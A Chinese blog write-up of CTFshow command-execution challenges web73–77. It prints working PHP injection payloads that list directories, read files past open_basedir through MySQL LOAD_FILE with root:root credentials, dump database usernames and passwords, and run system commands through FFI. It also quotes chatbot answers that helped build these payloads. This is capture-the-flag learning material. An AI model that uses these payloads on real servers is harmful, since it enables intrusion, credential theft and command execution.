CTFshow系列——命令执行web73-77(完结篇)

发布于:2025-09-02 ⋅ 阅读:(15) ⋅ 点赞:(0)

老样子,今天给大家带来命令执行的文章讲解以及解析


Web73

老样子,没有什么新意:
在这里插入图片描述

所以直接查看目录:

# payload
c=var_export(scandir('/'));exit();
c=var_export(scandir('glob:///*'));exit();

c=echo implode('|', scandir('/'));exit();
c=echo implode('|', scandir('glob:///*'));exit();

另一种方法:PHP原生类可遍历目录

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

这种办法查看目录之前已经遇到过很多次了,这里就不再解释;


后续payload还是一样的道理:
注意:这里是flagc.txt

# payload
c=include('/flagc.txt');exit();
c=include_once('/flagc.txt');exit();
c=require('/flagc.txt'); exit();
c=require_once('/flagc.txt');exit();

# 新函数
c=readgzfile("/flagc.txt");exit();

Web74

在这里插入图片描述
千篇一律的开头,没有什么好说的;

这里我们尝试查看目录,发现了点问题:

  • 使用c=var_export(scandir('glob:///*'));exit();结果显示NULL
  • scandir()函数被禁用了

遍历目录新payload

所以后面我稍微修改了下,得到新的payload:

# 遍历目录
c=echo implode('|', glob('/*'));exit();
c=var_export(glob('/*'));exit();

# PHP遍历目录方法也可行
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

在这里插入图片描述

查看flagx文件:

# payload
c=include('/flagx.txt');exit();
c=include_once('/flagx.txt');exit();
c=require('/flagx.txt'); exit();
c=require_once('/flagx.txt');exit();

# 新函数
c=readgzfile("/flagx.txt");exit();

Web75(新方法,很重要!!!)

这里尝试了一下,发现:
在这里插入图片描述

  • c=var_export(glob('/*'));exit();显示false
  • c=echo implode('|', glob('/*'));exit();显示参数错误

查看目录

可恶,两个payload没有了,只剩下PHP原生类可遍历目录这一种方法;

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

在这里插入图片描述
得到flag36.txt


正当我们兴致勃勃想要像以前直接文件包含的时候,意外出现了:
在这里插入图片描述
还是open_basedir,说明文件夹被限制访问了:
所以,之前文件包含的所有payload,全部失效!

查看WP

那我们知道了目录,如何查看flag36文件的内容呢?
答:换成mysqli代码

但是既然php受限制,那么mysql的load_file函数呢

# payload
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

即可得到flag的内容;


答疑解惑部分(焚决):

这里我有个疑问:

  • 怎么知道数据库的名字为:ctftraining
  • 数据库账号一般默认就是root:root

所以我问了下ChatGPT,用来一步步构建上述的payload:

  1. 在 payload 的场景下,我先跑一条,看看库名:
c=try {
  $dbh = new PDO('mysql:host=localhost', 'root', 'root');
  foreach($dbh->query('SHOW DATABASES') as $row) {
    echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();exit(0);
}
exit(0);

得到结果:
在这里插入图片描述

  1. 查看查看某个数据库的所有表
c=try {
  $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
  foreach($dbh->query('SHOW TABLES') as $row) {
    echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();exit(0);
}
exit(0);

显示结果如图:
在这里插入图片描述
得到FLAG_TABLE表;

  1. 列出某个表的字段
c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
    foreach ($dbh->query('SHOW COLUMNS FROM users') as $row) {
        echo $row['Field'] . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage(); exit(0);
}
exit(0);

得到结果:
在这里插入图片描述

  1. 最后一步,查看usernamepassword
c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
    foreach ($dbh->query('SELECT username, password FROM users') as $row) {
        echo $row['username'] . " | " . $row['password'] . "\n";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage(); exit(0);
}
exit(0);

得到结果:
在这里插入图片描述

总结

好了,这就是完整的SQL语句查询过程。既然如此,我们下一个专题就写SQL语句吧(原本是想写文件上传的)。

Web76

老样子,没什么好看的:
在这里插入图片描述
这有什么,老样子,直接上payload:

# 查看目录
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

得到flag36d.txt文件:
在这里插入图片描述

# payload
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

之前我的那些数据库查询语句一样能用。

在这里插入图片描述

Web77(重要)

  • 命令执行最后一题,php7.4,基本上命令执行就告一段落了

payload同理,不作解释:

# 查看目录
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

# 查看文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36x.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

但是意外还是出现了:
在这里插入图片描述

在这里插入图片描述
访问了flag36x.txt文件,居然没找到flag?


但是我们注意到左边有一个readflag目录,那还说啥呢,直接看呗:

c=?><?php $a=new DirectoryIterator("glob:///readflag"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
  • 返回的错误
    • Fatal error: Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/readflag) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(19) : eval()'d code(1): DirectoryIterator->__construct(‘glob:///readfla…’) #1 /var/www/html/index.php(19): eval() #2 {main} thrown in /var/www/html/index.php(19) : eval()'d code on line 1
  • 解释错误:
    • open_basedir 限制:
      PHP 配置中开启了 open_basedir,限制了 PHP 只能访问 /var/www/html/ 下的文件和目录。/readflag 不在允许路径内,所以 DirectoryIterator 无法访问。

    • DirectoryIterator 不是用来访问超出 open_basedir 的文件的

也就是说,PHP 在当前环境下不能直接列出 /readflag 目录。

明白了,你遇到的错误是:

Fatal error: Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/readflag) is not within the allowed path(s): (/var/www/html/)

🔍 错误原因

  1. open_basedir 限制

    • PHP 配置中开启了 open_basedir,限制了 PHP 只能访问 /var/www/html/ 下的文件和目录。
    • /readflag 不在允许路径内,所以 DirectoryIterator 无法访问。
  2. DirectoryIterator 不是用来访问超出 open_basedir 的文件的

    • 也就是说,PHP 在当前环境下 不能直接列出 /readflag 目录
  3. 另外,你写了 glob:///readflag

    • 多了一个 /glob("///readflag")/readflag 是等价的,但这里不是主要问题,主要是 open_basedir 限制

✅ 解决方案

因为 /readflagopen_basedir 外,不能用 DirectoryIterator 或 scandir
可以使用 MySQL 的 LOAD_FILE() 函数 来读取文件内容(前提是 MySQL 用户有 FILE 权限)。

你的 payload 可以改成这样:

c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');

    foreach ($dbh->query('SELECT LOAD_FILE("/readflag")') as $row) {
        echo $row[0] . "|";
    }

    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage(); exit(0);
}
exit(0);
  • 这样可以绕过 PHP 的 open_basedir 限制,通过 MySQL 读取 /readflag 文件内容。

💡 总结

方法 是否可行
DirectoryIterator("/readflag") ❌ 因为 open_basedir 限制
scandir("/readflag") ❌ 同上
glob("/readflag") ❌ 同上
file_get_contents("/readflag") ❌ 同上
LOAD_FILE("/readflag") ✅ 可行(MySQL 用户权限允许)

还是没找到flag,我真没招了

解题思路

发现 flag36x.txt 文件。同时根目录下还有 readflag,估计需要调用 readflag 获取 flag。
c=$ffi = FFI::cdef(“int system(const char *command);”); 通过FFI,可以实现调用system函数,从而执行命令,总而言之,就是调用system函数 $a=‘/readflag > 1.txt’; //调用/readflag 把flag写入1.txt中 f f i − > s y s t e m ( ffi->system( ffi>system(a); //执行命令
然后访问1.txt

理论结束,开始操作:

  1. 刚开始用代码:
c=$ffi=FFI::cdef("int system(const char *command);");$cmd='/readflag > /var/www/html/1.txt';$ffi->system($cmd);if(file_exists('/var/www/html/1.txt')){echo file_get_contents('/var/www/html/1.txt');}exit();
  • 这条 payload 做了三件事:

    • 初始化 FFI,调用 C 的 system 函数
    • 执行 /readflag > /var/www/html/1.txt,把 flag 输出到 web 可访问文件
    • 读取并打印 1.txt 的内容

但是很快就报错了:
Warning: file_exists() has been disabled for security reasons

  • 原因:
    • 你的 PHP 环境为了安全,禁用了 file_exists()(在 disable_functions 配置里)。
    • 也就是说 不能用 file_exists() 或 is_file() 来判断文件是否存在。

真正的payload

修改后代码:

## payload
c=$ffi=FFI::cdef("int system(const char *command);");$cmd='/readflag > /var/www/html/1.txt';$ffi->system($cmd);echo @file_get_contents('/var/www/html/1.txt');exit();
  • 使用 @ 屏蔽 file_get_contents() 的错误
  • 如果文件写入失败,会输出空字符串
  • 不再调用 file_exists(),绕过安全限制
    在这里插入图片描述
    随后访问1.txt即可:

在这里插入图片描述
全体起立!!

总结

关于命令执行的部分也是结束了,后面就开始SQL部分内容(重要程度不亚于命令执行)。